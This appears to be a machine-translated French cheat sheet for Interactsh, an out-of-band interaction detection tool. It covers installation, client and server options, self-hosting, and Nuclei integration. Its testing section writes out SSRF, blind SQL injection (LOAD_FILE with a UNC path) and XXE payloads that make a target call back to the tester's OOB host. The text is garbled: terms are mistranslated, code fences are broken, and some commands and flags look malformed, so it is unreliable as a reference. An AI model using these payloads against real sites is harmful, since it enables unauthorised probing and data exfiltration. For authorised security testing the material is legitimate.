Interactsh OOB Interaction Rassembler la feuille de chaleur
Aperçu général
Interactsh est un outil open-source développé par Project Discovery pour détecter les interactions hors bande (OOB). Il est conçu pour identifier les vulnérabilités qui causent des interactions externes, telles que Server-Side Request Forgery (SSRF), Blind SQL Injection, XML External Entity (XXE) Injection, et d'autres vulnérabilités qui peuvent ne pas être immédiatement visibles par des méthodes de test traditionnelles.
Ce qui rend Interactsh unique est son approche globale des tests OOB. Contrairement à d'autres outils qui se concentrent sur des protocoles spécifiques, Interactsh peut détecter des interactions entre plusieurs protocoles, notamment DNS, HTTP(S), SMTP(S) et LDAP. Il se compose à la fois d'un composant serveur qui capture et enregistre ces interactions et d'un composant client qui génère des URLs de test uniques et des moniteurs pour toutes les interactions avec ces URLs.
Interactsh est largement utilisé dans les tests de sécurité pour identifier les vulnérabilités qui pourraient autrement ne pas être détectées. C'est particulièrement utile pour les chasseurs de primes aux insectes, les testeurs de pénétration et les chercheurs en sécurité qui doivent vérifier l'existence de vulnérabilités qui dépendent d'interactions externes. L'outil est également intégré à Nuclei, un autre outil de découverte de projet, permettant un balayage automatisé de vulnérabilité avec des capacités de détection OOB.
Installation
Installation client
Utilisation de Go
# Install using Go (requires Go 1.20 or later)
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Verify installation
interactsh-client -version
Utilisation de Docker
# Pull the latest Docker image
docker pull projectdiscovery/interactsh:latest
# Run Interactsh client using Docker
docker run -it projectdiscovery/interactsh:latest client -h
```_
#### Utilisation de Homebrew (macOS)
```bash
# Install using Homebrew
brew install interactsh-client
# Verify installation
interactsh-client -version
```_
#### Utilisation de PDTM (Project Discovery Tools Manager)
```bash
# Install PDTM first if not already installed
go install -v github.com/projectdiscovery/pdtm/cmd/pdtm@latest
# Install Interactsh client using PDTM
pdtm -i interactsh-client
# Verify installation
interactsh-client -version
Installation du serveur (autoportrait)
Utilisation de Go
# Install using Go (requires Go 1.20 or later)
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-server@latest
# Verify installation
interactsh-server -version
Utilisation de Docker
# Pull the latest Docker image
docker pull projectdiscovery/interactsh:latest
# Run Interactsh server using Docker
docker run -it projectdiscovery/interactsh:latest server -h
Utilisation de base
Utilisation du client
# Start the client with default settings
interactsh-client
# Start the client with verbose output
interactsh-client -v
# Start the client with a specific server
interactsh-client -server your-interactsh-server.com
Utilisation du serveur (autodétenu)
# Start the server with default settings
interactsh-server
# Start the server with a specific domain
interactsh-server -domain your-domain.com
# Start the server with verbose output
interactsh-server -v
Options de sortie
# Save interactions to a file
interactsh-client -o interactions.log
# Output in JSON format
interactsh-client -json -o interactions.json
# Silent mode (no banner)
interactsh-client -silent
Configuration du client
Configuration de base
# Set polling interval (seconds)
interactsh-client -poll-interval 5
# Set interaction timeout (seconds)
interactsh-client -interaction-timeout 60
# Enable persistent session
interactsh-client -persistent-session
# Use a specific correlation ID
interactsh-client -correlation-id your-correlation-id
Authentification
# Use token for authentication
interactsh-client -token your-auth-token
# Use a specific server with token
interactsh-client -server your-interactsh-server.com -token your-auth-token
Filtrage
# Filter interactions by type
interactsh-client -filter-type dns,http
# Filter interactions by IP
interactsh-client -filter-ip 1.2.3.4
# Filter interactions by content
interactsh-client -filter-content "admin"
Configuration du serveur (auto-hosté)
Configuration du domaine
# Set domain for the server
interactsh-server -domain your-domain.com
# Set wildcard domain
interactsh-server -domain your-domain.com -wildcard
# Set IP address to listen on
interactsh-server -ip 1.2.3.4
Configuration du certificat
# Use Let's Encrypt for certificates
interactsh-server -domain your-domain.com -letsencrypt
# Use custom certificates
interactsh-server -domain your-domain.com -cert cert.pem -key key.pem
Configuration d'authentification
# Enable authentication
interactsh-server -auth
# Set token for authentication
interactsh-server -auth-token your-auth-token
# Set token file for authentication
interactsh-server -auth-token-file tokens.txt
Utilisation avancée
Fonctions avancées du client
# Generate a specific number of URLs
interactsh-client -n 5
# Generate URLs with a specific payload
interactsh-client -payload-template "\\\\{\\\\{random\\\\}\\\\}.your-domain.com"
# Enable DNS callback only
interactsh-client -dns-only
# Enable HTTP callback only
interactsh-client -http-only
# Enable SMTP callback only
interactsh-client -smtp-only
Fonctions avancées du serveur
# Enable specific services
interactsh-server -dns -http -smtp -ldap
# Disable specific services
interactsh-server -no-dns -no-http -no-smtp -no-ldap
# Set custom ports
interactsh-server -dns-port 53 -http-port 80 -https-port 443 -smtp-port 25 -smtps-port 587 -ldap-port 389
# Enable metrics
interactsh-server -metrics
Génération de charge utile
# Generate a URL for testing
interactsh-client -generate-url
# Generate multiple URLs
interactsh-client -generate-url -n 5
# Generate URL with specific server
interactsh-client -generate-url -server your-interactsh-server.com
Intégration avec d'autres outils
Intégration avec Nuclei
# Use Interactsh with Nuclei
nuclei -u https://example.com -t nuclei-templates/
# Use a specific Interactsh server with Nuclei
nuclei -u https://example.com -t nuclei-templates/ -interactsh-server your-interactsh-server.com
# Disable Interactsh in Nuclei
nuclei -u https://example.com -t nuclei-templates/ -no-interactsh
Intégration avec l'avis
# Send Interactsh interactions to Discord
interactsh-client|notify -provider discord
# Send filtered interactions to Slack
interactsh-client -filter-type http|notify -provider slack
Intégration avec les scripts personnalisés
# Use Interactsh in a bash script
#!/bin/bash
URL=$(interactsh-client -generate-url)
curl -s "https://example.com/test?url=$URL"
interactsh-client -poll-interval 5 -interaction-timeout 30
Vulnérabilités de test
Essai SSRF
# Generate a URL for SSRF testing
URL=$(interactsh-client -generate-url)
# Use the URL in a potential SSRF vulnerability
curl -s "https://example.com/fetch?url=http://$URL/test"
# Monitor for interactions
interactsh-client -poll-interval 5 -interaction-timeout 30
Tester l'injection SQL aveugle
# Generate a URL for Blind SQL Injection testing
URL=$(interactsh-client -generate-url)
# Use the URL in a SQL query
curl -s "https://example.com/search?id=1' UNION SELECT LOAD_FILE(CONCAT('\\\\',$URL,'\\share'))"
# Monitor for interactions
interactsh-client -poll-interval 5 -interaction-timeout 30
Essai XXE Injection
# Generate a URL for XXE testing
URL=$(interactsh-client -generate-url)
# Create an XML payload with XXE
cat > xxe.xml << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://$URL/xxe">
]>
<foo>&xxe;</foo>
EOF
# Send the XML payload
curl -s -X POST -d @xxe.xml -H "Content-Type: application/xml" https://example.com/api
# Monitor for interactions
interactsh-client -poll-interval 5 -interaction-timeout 30
Dépannage
Questions communes
- Aucune interaction détectée
# Increase polling interval
interactsh-client -poll-interval 10
# Increase interaction timeout
interactsh-client -interaction-timeout 120
# Check if the target is behind a firewall
# Try using different protocols (DNS, HTTP, SMTP)
```
2. **Questions de connexion**
```bash
# Check if the server is reachable
ping your-interactsh-server.com
# Try a different server
interactsh-client -server oast.pro
# Check if your network allows outbound connections
```
3. **Questions relatives à l'authentification**
```bash
# Verify token
interactsh-client -server your-interactsh-server.com -token your-auth-token -v
# Check if the server requires authentication
```
4. **Questions relatives à la configuration des serveurs**
```bash
# Check DNS configuration
dig ns your-domain.com
# Verify that your domain's nameservers point to your server
# Ensure that your server has the necessary ports open
```
### Déboguement
```bash
# Enable verbose mode for client
interactsh-client -v
# Enable debug mode for client
interactsh-client -debug
# Enable verbose mode for server
interactsh-server -v
# Enable debug mode for server
interactsh-server -debug
Guide d'hébergement personnel
DNS Configuration
Pour auto-héberger Interactsh, vous devez configurer les paramètres DNS de votre domaine :
- Enregistrer un domaine (p. ex.
your-domain.com
) - Configurez des enregistrements NS pour que votre domaine pointe vers votre serveur :
your-domain.com. IN NS ns1.your-domain.com.
your-domain.com. IN NS ns2.your-domain.com.
```
3. Configurez un enregistrement pour vos serveurs de noms :
ns1.your-domain.com. IN A your-server-ip ns2.your-domain.com. IN A your-server-ip ```
Configuration du serveur
# Start the server with your domain
interactsh-server -domain your-domain.com
# Enable Let's Encrypt for HTTPS
interactsh-server -domain your-domain.com -letsencrypt
# Enable authentication
interactsh-server -domain your-domain.com -auth -auth-token your-auth-token
Déploiement Docker
# Create a docker-compose.yml file
cat > docker-compose.yml << EOF
version: '3'
services:
interactsh-server:
image: projectdiscovery/interactsh:latest
command: server -domain your-domain.com -letsencrypt -auth -auth-token your-auth-token
ports:
- "53:53/udp"
- "80:80"
- "443:443"
- "25:25"
- "587:587"
- "389:389"
restart: always
EOF
# Start the server
docker-compose up -d
Configuration
Configuration du client Fichier
Interactsh client utilise un fichier de configuration situé à $HOME/.config/interactsh-client/config.yaml
. Vous pouvez personnaliser différents paramètres dans ce fichier :
# Example configuration file
server: oast.pro
token: your-auth-token
poll-interval: 5
interaction-timeout: 60
filter-type: dns,http
Configuration du serveur Fichier
Le serveur Interactsh utilise un fichier de configuration situé à $HOME/.config/interactsh-server/config.yaml
. Vous pouvez personnaliser différents paramètres dans ce fichier :
# Example configuration file
domain: your-domain.com
ip: 1.2.3.4
letsencrypt: true
auth: true
auth-token: your-auth-token
Variables d'environnement
# Set Interactsh client configuration via environment variables
export INTERACTSH_SERVER=oast.pro
export INTERACTSH_TOKEN=your-auth-token
export INTERACTSH_POLL_INTERVAL=5
export INTERACTSH_INTERACTION_TIMEOUT=60
# Set Interactsh server configuration via environment variables
export INTERACTSH_DOMAIN=your-domain.com
export INTERACTSH_IP=1.2.3.4
export INTERACTSH_LETSENCRYPT=true
export INTERACTSH_AUTH=true
export INTERACTSH_AUTH_TOKEN=your-auth-token
Référence
Options de ligne de commande client
Flag | Description |
---|---|
-server |
Interactsh server to use |
-token |
Authentication token for the server |
-n |
Number of URLs to generate |
-o, -output |
File to write output to |
-json |
Write output in JSON format |
-v, -verbose |
Show verbose output |
-debug |
Show debug information |
-poll-interval |
Polling interval in seconds |
-interaction-timeout |
Interaction timeout in seconds |
-persistent-session |
Enable persistent session |
-correlation-id |
Correlation ID for the session |
-filter-type |
Filter interactions by type (dns, http, smtp, ldap) |
-filter-ip |
Filter interactions by IP |
-filter-content |
Filter interactions by content |
-generate-url |
Generate URL for testing |
-dns-only |
Enable DNS callback only |
-http-only |
Enable HTTP callback only |
-smtp-only |
Enable SMTP callback only |
-ldap-only |
Enable LDAP callback only |
-payload-template |
Custom payload template |
-version |
Show Interactsh client version |
Options de ligne de commande du serveur
Flag | Description |
---|---|
-domain |
Domain to use for the server |
-ip |
IP address to listen on |
-wildcard |
Enable wildcard domain |
-letsencrypt |
Use Let's Encrypt for certificates |
-cert |
Path to certificate file |
-key |
Path to key file |
-auth |
Enable authentication |
-auth-token |
Authentication token |
-auth-token-file |
File containing authentication tokens |
-dns |
Enable DNS service |
-http |
Enable HTTP service |
-smtp |
Enable SMTP service |
-ldap |
Enable LDAP service |
-no-dns |
Disable DNS service |
-no-http |
Disable HTTP service |
-no-smtp |
Disable SMTP service |
-no-ldap |
Disable LDAP service |
-dns-port |
Port for DNS service |
-http-port |
Port for HTTP service |
-https-port |
Port for HTTPS service |
-smtp-port |
Port for SMTP service |
-smtps-port |
Port for SMTPS service |
-ldap-port |
Port for LDAP service |
-metrics |
Enable metrics |
-v, -verbose |
Show verbose output |
-debug |
Show debug information |
-version |
Show Interactsh server version |
Interaction soutenue Types
Type | Description |
---|---|
dns |
DNS interactions |
http |
HTTP/HTTPS interactions |
smtp |
SMTP/SMTPS interactions |
ldap |
LDAP interactions |
Ressources
- [Documents officiels] (LINK_3)
- [Répertoire GitHub] (LINK_3)
- Discorde de découverte du projet
*Cette feuille de triche fournit une référence complète pour l'utilisation d'Interactsh, de l'utilisation de base client et serveur à la configuration avancée et l'intégration avec d'autres outils. Pour les informations les plus récentes, veuillez toujours consulter la documentation officielle. *